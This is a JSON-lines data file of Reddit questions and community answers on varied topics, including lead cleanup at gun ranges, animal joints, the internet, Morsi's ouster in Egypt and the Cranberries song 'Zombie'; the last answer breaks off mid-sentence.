{"q_id": "1u6c55", "title": "how do they clean up the lead at gun ranges?", "selftext": "How do they get rid of all the lead at outdoor (or indoor) gun ranges? Or do they at all? It must be an EPA nightmare.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1u6c55/eli5_how_do_they_clean_up_the_lead_at_gun_ranges/", "answers": {"a_id": ["ceex9mj", "ceeyzgv", "ceez14c", "ceez1y2", "ceez5fc", "ceeze36", "ceezgpm", "cef001f", "cef066e", "cef0ymk", "cef1nsk", "cef1oky", "cef2nac", "cef6wef", "cef763o", "cefba7u", "cefe75f", "cefg0p9"], "score": [4, 498, 133, 17, 6, 4, 11, 14, 81, 2, 3, 38, 2, 5, 2, 2, 2, 2], "text": ["Funny you mention the EPA, they have a BMP guide for gun ranges to deal with lead:\n_URL_0_", "Nowadays that lead is worth good money as scrap.  There are guys that come out with some attachment that fits on a tractor that kind of sifts the lead out of the dirt.  The gun range makes big money for letting them come take the lead.", "Brother used to do this. Helped him once. This was at a police station. We used a giant vacuum. One hose was about a foot wide which sucks the lead and foam or rubber I can't remember which. The vacuum was strong enough to suck the lead and foam but dropped the lead in another pile while a secondary hose on the vacuum blew the foam back against the wall. We started at one end of the wall and worked our way down. We pretty much shoveled the lead into 5 gallon buckets but only filled them halfway because those buckets got pretty damn heavy. We had to wear respirators and painting outfits because of the dust from the foam/rubber makes you itch like crazy. Will apologize in advance about spelling or grammatical errors, I'm on my phone. ", "I used to go through the sandtrap with a riddle till I'd filled a bunch of three gallon buckets. Melt it down and recast at a later date, this would probably be a lot more practical for 45 as oposed to 223 though.\n", "I don't know how it's usually done, but we had one close near my house a few years back and it just sat there for years before someone bought it up, after which the new owners had to pay for an expensive cleanup operation. Basically they had to dig really far down into the soil and replace it all, so there were dump trucks taking out soil and others coming in and replacing it.\n\nCouldn't say for sure where the old soil went, or where the new soil came from, though. ", "Range officer/sales agent at lgs here in Central Florida. Indoor range, lead dust at the end of the day is swept down range in a neat line. Once a week all that lead is swept into buckets and put in hazmat barrels. The lead from projectiles goes into whatever trap the range uses. Ours consists of rubber bits, that is shoveled up to keep the backstop even, every so often the rubber is taken out with all the bullets that didn't get swept up and is replaced with new rubber.\n", "They just replaced an outdoor range near me.  They trucked out all the old dirt and trucked in new dirt laced with some chemical that will bond with the lead and stop it from leaching into the groundwater.\n\nRepeat this process every decade or so.", "Environmental engineer here. They needed to dig up the first foot or two of soil and haul it to a special landfill. Not cheap, but pretty standard clean up.", "If you're the old gun range near me, you go out of business and sell the contaminated land for a pittance so it's no longer your problem. Then, the developer that buys it offers to clean it up (which they are legally obligated to do anyway) in return for the town re-zoning the lot for a shopping center, over the objections of the lot's neighbors and in direct contradiction to the town's master zoning plan (where the lot is reserved as recreation space). Implicitly, if the town refuses, the subsidiary that holds the land goes bankrupt and leaves an unusable toxic dump in the middle of town, and the developers pay for campaign ads in the next town board election blaming the board's \"anti-business\" climate.", "All indoor firing ranges have some sort of 'collector' for lead, which simply consist of a steel wall that stops the projectiles. It varies alot when it comes to outdoor ranges. On my local outdoor shooting range (50 m), we are only allowed to shoot .22 lr. as it is the discipline in which we compete. Because of the low calibre, we can set up lead collectors without them being shot to pieces. We have simply dug large plastic pipes down behind every target on the range and filled them with sand. Once a year we dig out the sand, put the sand through sieves, collect the lead, fill the pipes with sand again and sell the lead. This system has saved us alot of time and effort, as we used to dig out all the dirt behind the range and look for lead by hand.\n\nIn my country, Denmark, we have very strict envirromental laws that prohibits lead in the nature as it contaminates the ground water. On our 'fixed' firing ranges, we always collect the lead, as the lead is a great income as scrap metal, but also because the authorities would terminate our license to use the range otherwise. These rules have been here for longer than I can remember and I respect them, but I am always amazed when I visit the large firing ranges. There are a few large areas in Denmark which have formerly been used as military training ground, but which have been giving/sold to locals to use for shooting competetions and for the hunters to train on. There are usually a few fixed ranges in these terrains, but the majority of the ranges used are random, temporary ranges set up for the occasion. These terrains are NEVER cleared of lead and I find it strange that our government are setting strict rules for fixed ranges, but lack enforcement when it comes to former state-owned firing ranges.", "I actually work in a building that was converted from a gun range. In order for us to move in, a clean-up team had to come in and completely work the place, and then the EPA had to come in and test to make sure there wasn't still lead particles that could cause us harm. I know this doesn't answer your question, but I just wanted to verify that the EPA takes it very seriously and there is, in fact, a very thorough means of cleaning the lead. ", "I used to work at the NRA HQ Range in Fairfax, VA, which is a 150 ft. indoor range. For indoor ranges, the filtration systems are rather intricate.  The range itself has a large steel backstop that slopes inward to a powerful vacuum system that picks up lead and lead dust. \n\nBehind it, there is an auger that feeds the lead and lead dust into another, finer filtration system. That machine ends up feeding the remaining lead and lead dust into industrial barrels, which are then sold to a local metal scrapping company by the ton.\nThe building also has it's own dedicated HVAC system with special filtration systems required by federal law, as well as its own dedicated water supply, which is filtered through a course and then a fine filter to pick out the lead that washes off people's hands. That water comes from public sinks that are separate from the bathroom sinks, dedicated specifically for this use. Not washing your hands after exiting the Range is against the Range rules.\n\nAs far as the \"EPA nightmare\" goes, it's not actually that bad at all. All of these things are heavily regulated, and the Range must follow very strict rules to prevent contamination. There is much, much more lead contamination from coal burning power plants than there is from indoor or outdoor gun ranges. \n\nAs an added sidenote, there is no machinery dedicated to picking up the brass shells left on the range after shooting hours. We would use large floor squeegees to collect the leftover brass in five gallon barrels, which we would then dump into industrial barrels which are sold at the same time to local metal scrappers.\n\n", "A lead magnet. ", "I am actually at work right now at a indoor gun range in Bellevue, WA. The modern system for cleaning up lead on indoor gun ranges is a very very strong air filtration system to take all the lead out of the air ASAP and a steel metal trap to catch the bullets ( Shooting into sand takes much longer to clean and is much more expensive ). All the solid lead from the shots gets dropped into a bucket behind each steel bullet trap. Every night ( in full hazmat suits with respirators ) our cleaning crew which consists of normal range safety staff, empties the buckets of lead into a massive enclosed container that we have. The lead is later sold off at auctions along with our brass. We also vacuum the whole range once a week to pick up whatever lead doesn't get picked up in the ventilation system.\n\nsource; I am typing this while I am working at a indoor gun range.\n", "Some new ammunition is manufactured as \"lead free\" such as the new 5.7 (FHN FiveSeven) reducing the exposure. Most lead exposure from other calibers comes from the gas discharge of the accerant escaping from the barrel. This lead is discharged into the air and can be absorbed by breathing. Indoor ranges have air scrubbers or filter systems to remove lead from the air to acceptable levels. An avid indoor range user, in some cases, may have detectable levels of lead in their blood. After testing, the doctor most likely would recommend chealting tablets to remove this lead from the body.  Outdoor ranges have a drastically reduced risk of inhaled exposure.  Also, the shell casing, projectile and firearm would only have lead residue. There is not enough lead to value harvesting components for scrape. Brass is most likely what they are selling for scrape. This is only to help offset cost and is not profitable in its own merit. Projectiles that are lead jacketed or hollow point would have more lead than FMJ (full metal jacket) rounds. \nHope this helps!!", "A number of years ago there was a skeet shooting range right on the lake  in Chicago. When it closed down, the city had the  lake bottom dredged to recover the lead.", "Range officer @ rifle club here. We hired a lead miner to come in and clean our backstops, something that we wanted to turn around for profit towards upgrading the club, we are a non profit organization. \n\nThey took 2 weeks excavating/filtering the ground with a screen that traps the jacketed lead bullets and other lead based material into a loader, then off to a recycler. Rebuilding the backstops with clean fill dirt.\n\nWe had roughly 50-60 tons of lead which was about $22,500 at the current lead prices (.35  cents a pound) and after maintenance fees.\n\nLead sucks we as employees take much precaution to prevent long term exposure and hygiene awareness dealing with lead, I myself working the most hours get tested annually. \n", "I work for a hazmat company, we get contracted to shovel the lead out of shelves in the wall, sweep up, and clean the room with a mild soap. The lead gets disposed of in drums and goes wherever the most profitable recycle place at the time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www2.epa.gov/lead/best-management-practices-lead-outdoor-shooting-ranges"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "10ga4e", "title": "Are there lifeforms with translative joints ?", "selftext": "So I noticed that every joint in the human body is based on a rotation, the only difference between them being the number of liberties (for example : elbow and knee : 1, neck and ankles : 3). I've thought about pretty much every living species I could think of, and all of those which have joints have, I think, rotative joints.\n\nI have also noticed that a wheel component is hardly possible because there needs to be a permanent link between the different parts of the body in order for body fluids to circulate, and a free wheel would involve torsion, which is bad. But for translative body parts, this does not seem to be an obstacle. I would provide schemes if I could because it's kinda difficult to explain. I hope at least some of you are understanding it the way I mean it.\n\nSo, does it exist on Earth ?\n\nPS : sorry for the sloppy English, if there is some.\n\nEDIT : a friend of mine pointed that cats have retractile claws, which makes them having translative joints. Now I wonder if there is a species with translative limbs.\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10ga4e/are_there_lifeforms_with_translative_joints/", "answers": {"a_id": ["c6d7fqa"], "score": [2], "text": ["Yes there are, a sperm's tail can rotate clockwise and counterclockwise without a stop _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.m.wikipedia.org/wiki/Flagellum#section_1"]]}
{"q_id": "4i7ddv", "title": "The \"Evil Corporation\" is a staple trope of modern media. Can we find similar themes (like the evil aristocrat, priest, etc.) throughout historical folklore where other ruling classes were in power?", "selftext": "If yes, were they more morality tales about how you *should* behave as a ruler by virtue of knowing a bad example, agitation and propaganda against the ruling classes, or cathartic stories to make the ruled over classes feel better as they wouldn't have it *that* bad? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4i7ddv/the_evil_corporation_is_a_staple_trope_of_modern/", "answers": {"a_id": ["d2vxpf4", "d2w8tvq"], "score": [105, 23], "text": ["Parts of the Holy Roman Empire and Central Europe in the Middle Ages seem to have had something of a trope about evil, rapacious prince-bishops abusing the peasantry and getting some karmic comeuppance.\nI'm thinking particularly of the story of the [Mouse-Tower of Bingen](_URL_2_), in which a corpulent clerical ruler hoards all his region's food during the Great Famine to secure his own survival, driving away all the people from the land, only to find that his rapacious concentration of vittles has attracted an insatiable mass of rats, who then consume him and his stash. Delightful stuff.\n\nLooking towards England in the same period, there are similar depictions of ecclesiastical malfeasance in Chaucer's *Canterbury Tales*; specifically in the tales of [the Friar](_URL_3_), [the Summoner](_URL_0_), and [the Pardoner](_URL_1_), who represent various forms of official corruption and moral failing.", "The term \"tyrant\" did not originally have negative connotations when the Greeks borrowed it from the Lydians in the 7th century BC. It simply indicated a person of great wealth and influence, without necessarily implying autocratic rule. However, by the late 6th century the meaning of the word had shifted. The definition of a tyrant was now someone who seized absolute power in a state without regard for that state's laws; they were increasingly stereotyped as violent usurpers, morally corrupt, insatiably greedy, and constantly fearing for their lives due to the threat of assassins and enemies from within and without. Greek communities feared tyranny more than anything, and went to great lengths to prevent tyrants coming to power. Throughout the Classical and Hellenistic period in Greece, we see the rise of the Evil Tyrant trope, with later tradition attaching ever more outrageous anecdotes of paranoia and perversion to the lives of actual historical dictators.\n\nHowever, tyrants also had a place in Classical Greek thinking about how a state should be governed. While most Greeks abhorred one-man rule, some were in two minds about it, aware of the advantages that absolute power had in terms of the speed of decision-making and the mobilisation of resources. The tyrannies of Peisistratus at Athens and Periander at Corinth were widely regarded as golden ages, and the latter was considered one of the Seven Sages of Greece. This prompted the Greeks to discuss how one might become a \"good tyrant\", if such a thing existed. One of the most interesting texts is Xenophon's [*Hiero*](_URL_0_), written in the 4th century BC - a fictional conversation between the historical poet Simonides and the historical tyrant Hiero of Syracuse. It goes through all the ways in which a tyrant's life is actually a nightmare of mistrust and groundless hatred, but suggests that there are ways for a tyrant to benefit his community and end up beloved by the people he ruled."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://sites.fas.harvard.edu/~chaucer/teachslf/sumt-par.htm", "http://sites.fas.harvard.edu/~chaucer/teachslf/pard-par.htm", "http://digital.library.upenn.edu/women/gask/tales/MOUSE.html", "http://sites.fas.harvard.edu/~chaucer/teachslf/frit-par.htm"], ["http://www.perseus.tufts.edu/hopper/text?doc=Perseus%3atext%3a1999.01.0210%3atext%3dHiero"]]}
{"q_id": "bxlk9l", "title": "the internet isn't a physical web of information, so what is it?", "selftext": "My Papaw asked me how the internet worked once, and I really couldn't give him a straight answer. This man believes the internet is a physical tangible web of information up in space that astronauts can just go to anytime they want. Please help me enlighten him!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bxlk9l/eli5_the_internet_isnt_a_physical_web_of/", "answers": {"a_id": ["eq7tpma", "eq7twrf", "eq7uc8d", "eq8039r"], "score": [8, 5, 2, 3], "text": ["It's a network, connecting other networks, hence the name.  Through these networks email and web page requests can be relayed from your personal computer to a server computer providing services you desire.", "The internet is computers talking to each other with all the conversations routed physically through cable or wirelessly using radio waves.\n\nInternet traffic has a 'to' and 'from' address.\n\nDNS is like a phone book.", "So, you know how you can store information on your computer?\nThe internet is a bunch of really powerful computers, connected, and when you browse the web you're simply opening files on them, that then open into a webpage.\nThink of it more like a train network. There are stations with supplies (servers) that are delivered via packets (trains) to their destinations, which are then transported to the end user. That's sort of how it works. Your computer sends a request to your router, to go to say, google. Your router has a phonebook, or it has the address of a phonebook server (DNS), the phonebook tells the router where to find google, so the router then sends your information to Google's address, similar to the way shipping is handled, it goes to a bunch of different locations, until it gets sent to where it needs to go.\n\nSo. Servers are like data warehouses, right? Except the product you get shipped from them is data, and it happens in milliseconds.\nDoes that make any sense?", "Hmm,\n\n & #x200B;\n\nSo, since he's an older person, I'd explain it like calling someone back in the day. \n\n & #x200B;\n\nYou pick up your phone (your computer) and call the switchboard operator (accessing your browser). You tell the operator who you want to talk to (URL), and the operator will transfer you in to proper organization/person (server with the files you want).\n\n & #x200B;\n\nThis is a very dwindled down version of what's happening, one that I think an older individual would be more open to understanding."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7go2ts", "title": "why and how do starlings perform murmurations?", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7go2ts/eli5_why_and_how_do_starlings_perform_murmurations/", "answers": {"a_id": ["dqkg114"], "score": [8], "text": ["To form a community bond, the benefits are safety in numbers from predators, peregrine falcons, and hawks, find it hard to grab in the in a massive flock, they tend to go for solitary birds, they roost together keeping warm, and safe, then birds who have had success in food search the previous day can form, lead the morning search, and they don't have to waste time looking for a mate, and when their chicks fledge it's not just down to the parents to teach. \n\nIf you carefully watch a murmuration form, the numbers expand as dusk draws in, it's visible from miles around, so stragglers can locate the flock before nightfall. "]}, "title_urls": [], "selftext_urls": ["https://gfycat.com/ThunderousSameKakarikis"], "answers_urls": [[]]}
{"q_id": "1s5yq4", "title": "why was elected egyptian president mohammed morsi ousted so quickly?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1s5yq4/eli5_why_was_elected_egyptian_president_mohammed/", "answers": {"a_id": ["cdu870u", "cdu87g7", "cdu8hml", "cdu8mf0", "cdu99ef", "cdu9p4z", "cdua1si", "cduabf1", "cduae7y", "cduamrk", "cdubduy", "cdubsds", "cdubswp", "cducfg0", "cducnhn", "cducx6s", "cdud2vf", "cduda8j", "cdug0wu", "cdugfd5", "cdugkiz", "cdun5qg"], "score": [12, 38, 2, 6, 36, 4, 8, 506, 4, 8, 2, 2, 2, 2, 2, 13, 2, 24, 2, 2, 3, 2], "text": ["He essentially tried to take control of the government through legislation and that went against his promises to the Egyptian people when he was being elected.", "The short answer is that he did NOTHING to make the lives of Egyptians better.\n\nThe opposition to Morsi was not so much an ideological one as a purely practical one. The economy in Egypt is on it's knees. Food and fuel as well as other basic amenities are scarce, people are losing their livelihood and feel that Morsi has not delivered what he promised. ", "The information I have is solely from the Joe Rogan podcast so ya. My understanding is he was trying to make himself untouchable. Unable to be prosecuted or investigated for any crimes, kinda like a dictator. ", "He couldn't play the game. Didn't cozy up to the old elite factions so they used their influence to take him out for someone that would play the game of politics.", "The army saw that he was trying to Islamicize Egypt, which is something they do not want to see happening. They want a secular government in place because an Islamic government is a threat to Israel. Plus, the army is funded by the Western powers, specifically US. So they have to follow their whims to continue being funded. ", "First off, you have to realize he came to power through elections which won him a majority (51% I believe), but only 33% of Egyptians actually voted. These were run-off elections with himself pitted against a candidate that was a Mubarak supporter, and therefore the choices weren't exactly extensive.\n\nHe also made several promises that he went back on, most of which I cannot currently remember. I know he said he wasn't going to run for more than half of the seats, which he did. Also claimed that he didn't want an Islamic majority in the constitution writing process, which he later went back on.\n\nAlso, the Muslim Brotherhood, which he represented, didn't have much (if any) experience actually ruling a government, and being put into one in such a tumulus state was a recipe for disaster. \n\nCombine this with a strong military that feels connected to the populace, and thousands of people expecting immediate change from overthrowing Mubarak, and it's not a surprise that he was ousted.", "The view of the protesters:  He was trying to use the tools of democracy to turn the country into a dictatorship.  \n\nThe view of Morsi's supporters:  Traitors who had the loyalty of the army saw a chance to grab the power they couldn't get in the election.\n\nThe truth is probably somewhere in between.  Like all politicians he ran on a platform of trying to make things better, got in power, couldn't.  Then he became convinced the solution was more power and more authority to do 'what he was elected to do'.  And people who already had authority or who were elected (or appointed) to do something else didn't like that.  \n\nWe all view the problems of government through our own lenses.  Morsi I think saw the problem through a lens of too much power in the institutions that kept the Muslim Brotherhood illegal for so long.  Everyone else saw the problem as something else, and ultimately those are bound to cause chaos.  ", "Egypt contrary to what the media would have told you shortly after Mubarek was taken out, was frail. They were already hurting from lack of basic supplies, gas, food, money...and when the revolution ended and Morsi stepped up to plate they expected real change. The people had thought they had forced the hand of the government and showed them they would not stand for inequality and an overall lack of livelihood.\n\nIn comes Morsi, and nothing has changed. In fact it was looking rather scary as Morsi was pushing through laws that left him all but a dictator. The Egyptian people took to the streets for a second time and were successful once again in taking out their own leader.\n\nHowever, the control is now in the army's hands. The single most powerful entity in Egypt. Think the United States army with free roam to do whatever they want without having to take orders from the President. Also the Egyptian army has what some are calling a monopoly on jobs and job creation in Egypt. The bad part about this is those working in these factories are part of the army and aren't getting paid anything to be there. Essentially it's like Apple being owned by the US's army and the soldiers are the ones designing the next iPad but not getting paid an engineer salary, just the base army pay. \n\nA law was just passed to stop any form of protest, or gathering from happening and it seems like another revolution, the \"final\" revolution will take place in Egypt. Hopefully, for their sake and the worlds, this will be the final necessary step to truly change the country for the better. If they are successful, they could become the single most important country when it comes to influencing people in westernized countries to take to the streets and create the change they want to see. \n\n**EDIT I posted this answer when this thread was pretty much empty and since then there's been some awesome responses that go more in depth into the situation that I tried to do with this one. I implore everyone to read deeper into the thread and read some of the more detailed answers if your looking for a longer summation of what occurred**", "Asking for a straight answer on reddit about something political is like asking David Duke for a history lesson.", "Not delivering on his promises combined with fears that he was consolidating increased power to the presidency. \n\nThe military acts as a 'check' on tyrannical executive power, like the Supreme Court does in the U.S. \n\nWhether his policies were indeed 'failed' and his tactics 'tyrannical' are up for debate. ", "You shouldnt ask such a controversial question in this thread. Some of the people who answered is just as clueless as you.", "Because Morsi ended up being an Islamic totalitarian rather than the somewhat more secular and democratic person many thought he was. They wanted change, they needed change, but he was the wrong change. Change for the worse.", "Government by itself can do nothing. People do things. \n\nThat's the lesson. ", "What is the general mood in Egypt? Are they happier under the Army's Rule than President Morsi?\n", "Because he tried turning Egypt into an Islamic Republic.", "Politics is complex all over the world. There are no simple answers.\n\nThe previous \"president\", Mubarak, basically ignored the country and let the economy slide into decay, provided he and his friends got rich. People got tired of this. One third of Egyptians are under 20, and youth unemployment (and all unemployment) is extremely high. It's hard to run a business when you get shaken down by the government agents, and your competition can get contracts by bribery and favoritism rather than better cheaper products. \n\nWhen the people had enough of this and protests caused the army to toss Mubarak, people wanted change. The presidential elections were rushed - nobody knew what the president's power would be, exactly - no constitution yet. Out of a field of a dozen, it came down to Morsi against a former minister of Mubarak's, so the people had a poor choice - the old or the Muslim Brotherhood.  He was the least bad choice, they still did nt trust the old regime.\n\nThe Brotherhood was an organization dedicated to promoting Moslem ideals... sort of like how the Republicans push God and Country crossed with Pat Robertson.  Of course, in the dictatorships, any opposition is illegal and they became an underground organiztion, people like Morsi spent time in jail for their participation. It was also a large charitable organization, taking donations from rich sympathizers and helping the poor. they turned this into an election advantage - hand out food to the poor in return for their votes. \n\nThe secret to winning a vote is organization. After you do all the posters and ads, you have to identify your supporters and get them to the polls to vote. Who better to do this than the Bortherhood with their network, or the Salafists - a more strict Moslem party that organized the backward rural poor. \n\nThe rural poor are more traditional, backward and more uneducated, and more influenced by their clerics in the mosques. These are the people who think of the coptic Christians the same way westerners treated jews up until WWII; any problems will be blamed on them, everything is their fault, periodically they riot and attack Coptic churches and houses.  The people in the cities are exposed to western culture, the internet, videogames, TV, etc. These are two different worlds. \n\nThe army is a like a giant conglomerate. They own a huge number of enterprises - hotels, factories, etc.-  to help keep the officers rich.  the army did not care what the government was doing as long as it left the army alone. \n\nHowever, Morsi started to think he was in charge. The key to politics is compromise - accomodate everyone a bit. Instead, Morsi ignored the opposition. When it was time to write the constitution - the rules ahd been agreed on - you needed lawyers, members of the trade unions, student union members, etc. In each case, he used Brotherhood peope... Unions - pick Brotherhood union members. Students? Pick the Moslem student association. Doctors? ditto. Engineering association, ditto. They produced a very religious-biased constitution. For example, court cases involving questions about religion, instead of the supreme court, the imams of the main university would decide these cases.  Islam was given a prominent role even though more than 10% of the country was Coptic Christian. Meanwhile, complaining that the real police were not defending their position, the Brotherhood started building its own enforcemant branch of private police that arrested and tortured people during one demonstration outside the president's palace. They also started replacing important people in the government ministries and civil service with their own sympathizers.  There was serious debate over whether to ban \"beer and bikinis\", enforce Moslem modesty laws and alcohol bans, which would destroy the Sharm el Sheik beach tourism business and make overall tourism less attractive - tourism is the biggest industry there.  (BTW - I never saw bacon there, it wa all \"beef bacon\", beef treated to taste like bacon)\n\nThe less traditional, more liberal people of the cities, especially the young, the student groups that triggered the first revolution, felt betrayed. They did not topple Mubarak just to become Iran with the police attacking people for failing to obey religious laws or go to mosque.\n\nThe army was equally alarmed. Morsi began replacing the old guard generals, and rumors were he would soon replace them with his own people bit by bit.  They were also concerned that the govenment would take away the industries they owned and which made the officers rich. \n\nit didn't help that the chaos was making the economy worse and worse, everyone was suffering.\n\nWhen the city youth began protesting aginst the Brotherhood and Morsi, when the protests got so bad that the cities were at a standstill, the army took advantage of the situation to dump Morsi and start over.\n\nWhen the army arrested Morsi, the Brotherhood called for massive demonstrations to protest this. Since they ahve the support of about 20% to 30% of the people and bought a lot of support with gifts of food, etc. - they got a good turnout. The interior police, remnants of Mubarak's thugs, were vicious in putting down the demonstrations taht would not go away over time. After waiting about 2 weeks, they got vicious and used guns and tanks and sniper fire to ensure the demonstrators go the message - killing over 1000 of them. \n\nNow things are more polarized than ever. Some people are very ahppy that the Brotherhood \"got what they deserved\"; others are appalled at the lack of simple humanity in how the demosntrations were suppressed. Others want the brotherhood back. \n\nTheoretically, they will write a new, non-religious constitution, have fresh elections for parliament and president, and start over again. The danger is that the army likes the idea of being in power, and no matter who wins next, they are unlikely to challenge the army's power in some areas.", "For 5 year olds: Morse won the election very, very narrowly, promising to do away with the excesses and unfairness of his predecessor, since the country was in such a tight spot vis-a-vis food and jobs. Once he got in, he instead turned to hard-core Islamiscist governing, setting up morality laws and focusing on all sorts of other things that didn't actually improve anyone's life. \n\nStunningly, it turns out that when you kicked out the last dictator (who ruled for decades), you're already pretty set to go push out the new guy when he doesn't even try to deliver on the promises he just made. ", "After Mubarak was taken out there were general elections. In order to make the final cut on the ballot a candidate needed 25% of the vote. The Muslim Brotherhood was well organized, as opposed to many other groups and easily got the 25%. However, there were numerous liberal parties running, and this caused the youth and moderate vote to be spread out instead of going towards one part. Imagine if the democrats had eight candidates on the ballot when the republicans only had one, more likely then not the Republican would win. \n\nNow, only three candidates made the final ballot, two of which were Islamist and one was a Mubarak party member. Many the same people who started the revolution were dismayed by this and instead of voting they protested the elections. Probably not the wisest. Anyway, Morsi wins and promises to bring back the struggling economy and also to work with other parties. This doesn't mean that Morsi was the majority choice of the Egyptians. \n\nIt didn't take long for many Egyptians to realize Morsi had a very different agenda. Morsi made many mistakes, including constantly putting his own party members in the parliament, as well as, allowing a number of very shady political results that allowed for even more Muslim Brotherhood members to gain power. What ended up happening was Morsi and the Muslim Brotherhood fully controlled the democracy and they no longer listened or talked with other party members. They alienated a whole country. Then, and probably the worse thing Morsi could have done, Morsi passed a legislation himself allowing him to pass laws without getting approval (since this is ELI5 I'm dumbing it down but obviously it's more complex).\n\nWhat ended up happening was that many people saw were this was headed and it looked to much like what had just fought to get rid of. Morise promised not to use Islamist laws, to give a voice to the people, and to rebuild the economy. All of which he failed to do, and in fact alienated all parties expect for a few. Was the right thing? We won't know for sometime, nor do we know what the military wants. \n\nedit: Thank you /u/iamagainstit for pointing out there were only two men on the final ballot, Morsi and Shafik.\n", "It wasn't quick, he was given 12 months by the people of Egypt, but when he failed to deliver on the promises and in fact started to do some things people had not asked him to (like appointing majority councils of his branch of religion to the law benches), the people became restless.\n\nThis restlessness gave way to open demonstrations, these unsettled Mr Morsi who in what was probably an inexperienced moment of office panic tried to safeguard his own position by limiting the available power of anyone who could oppose him.\n\n This led the Army (with the peoples backing) to depose Mr Morsi by force before he could cement his position as the unquestionable authority. ", "Here is an excellent video explaining the situation in Egypt. \n\n_URL_0_", "Real late to this, but it's important to understand civil-military relations in Egypt, like some people have said. The military is a huge part of the national economy and has a huge stake in its performance. They provide hundreds of thousands of jobs, operate firms in the private sector and get government contracts. When Morsi failed to enact any real economic reforms, choosing to focus instead on an Islamist agenda, Gen. Al-sisi and co wanted him out as well, and sided with those protesters who had rallied against Morsi for their own reasons (his abuse of the executive position). The military shouldn't be portrayed as some sort of guardian of national freedom who ousted Morsi in a wave of popular support. Sisi CALLED people out into the streets against The government, and besides they were perfectly happy to support Mubarak during his rule, provided he maintained their priveldged place in society. ", "Egypt really just needs to abandon the idea of a theocracy or a state religion, and embrace secular government. Battles between religious ideologies and their control on institutions is the real source of turmoil."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=Y5suNtLwbBw"], [], []]}
{"q_id": "1l96kg", "title": "how can something be unnatural when everything comes from the nature itself?", "selftext": "Blow my mind.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1l96kg/how_can_something_be_unnatural_when_everything/", "answers": {"a_id": ["cbwy48d", "cbwy7dm"], "score": [5, 11], "text": ["Alright. It's a convention, a conceit if you prefer, adopted by a creature bourne of nature, that its own creations are unnatural. \n\nBirds nests are regarded as natural. Houses are not.\n\nThe differences between the two may be summarised as (a) we have a greater level of concious input into what we create, and (b) we involve more complex processing techniques.\n\nIt's worth pointing out that ants and bees produce \"houses\" of startling complexity and efficiency, without any of their individuals being aware of how it all works. Just like us. \n\nMore to the point is not *what* we produce, but the *way we think about it*. We are sentient, self-aware beings, and regard ourselves as morally capable agents. Most of us would recognise a moral difference between ourselves and a bumblebee, for example. As such, the \"things\" we produce are regarded as having some sort of moral attribute, in this discussion, \"naturalness\". \n\nConciousness, and morality, are properties of \"natural\" history though. ", "I think the term *unnatural* is a description of something that would not occur in nature if it were not from human intervention. \n\n\nI understand that we (humans) are also natural and perhaps you could argue that technology is just a *natural* process in our evolution therefore nothing is unnatural. However, we tend to think of ourselves as above nature for the purpose of the word 'unnatural'. \n\n\nThe reason we think ourselves above nature may be because we are so much more consciously evolved from every other animal.\n\n\nWith that said, plastic is unlikely to occur in nature, so it would be a man-made, unnatural thing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "e52p2v", "title": "What events are being referenced in the Cranberries song \"Zombie\", when the lyrics go \"It's the same old theme, since 1916\", and how are they relevant to the song?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e52p2v/what_events_are_being_referenced_in_the/", "answers": {"a_id": ["f9hlfle", "f9q4l4v"], "score": [416, 6], "text": ["I believe this could be answered fairly quickly via wikipedia or the Short Answers section - however I will take a stab at it.\n\nThe Cranberries are on record stating that \"Zombie\" was written directly in response to the [1993 Warrington Bombings](_URL_0_) by the IRA (\"Provisional Irish Republican Army\"), in which two children were killed. \"This song's our cry against man's inhumanity to man; and man's inhumanity to child... The IRA are not me. I'm not the IRA... When it says in the song, 'It's not me, it's not my family,' that's what I'm saying. It's not Ireland, it's some idiots living in the past.\" - Dolores O'Riordan.\n\nThese bombings were part of the later stages of the Troubles, a three-decade long conflict between Irish Republican nationalists and Irish British Unionists. In that context, \"It's the same old theme, since 1916\" should be taken as a reference to the [Easter Rising](_URL_1_) by Irish Republicans, which is normally cited as the first violent action of the [Irish Revolutionary Period](_URL_2_). The events of the Easter Rising and the extreme crackdown by the British unionists then fed into what became the Irish War for Independence and the partition of Ireland in 1921, which resulted in the division of Ireland into the Republic of Ireland and Northern Ireland province of the UK.\n\n\\*Edits for Spelling", "1916 was a turning point in the Irish people\u2019s opinions towards independence form Great Britain. In the early 1900\u2019s right up until WW1, Irish nationalism was divided into various groups who had different ideas of the extent of independence would best suit Ireland, and to what level of force they would be willing to use to gain this independence. \n\nOne group would be the Irish Parliamentary Party, a political party for Irish nationalists, elected to the House of Commons in Westminster from its formation in 1874 right up until 1918. The IPP believed in self sovereignty through \u201cHome Rule\u201d which would effectively keep Ireland within the United Kingdom, but grant them a system of parliament which could decide on domestic affairs but would ultimately still beholden to the House of Commons. \n\nSinn Fein, (We Ourselves), up until 1914 where a largely socialist people\u2019s party, who advocated for a system of \u201cDual Monarchy\u201d between the UK and Ireland, where Ireland would have the power to set its own domestic and foreign policy, including taxation. Although economically self sufficient, Ireland would retain its ties to Britain through free trade and movement of people\u2019s. The Sinn Fein party\u2019s manifesto changed drastically after the events of 1916. \n\nThe Irish Volunteers was formed in 1913 as a reaction to the establishment of the Ulster Volunteers, a force of Unionist men opposed to any degree of Irish independence which formed in 1912. The Ulster Volunteer Force was established to oppose Home Rule which looked to be 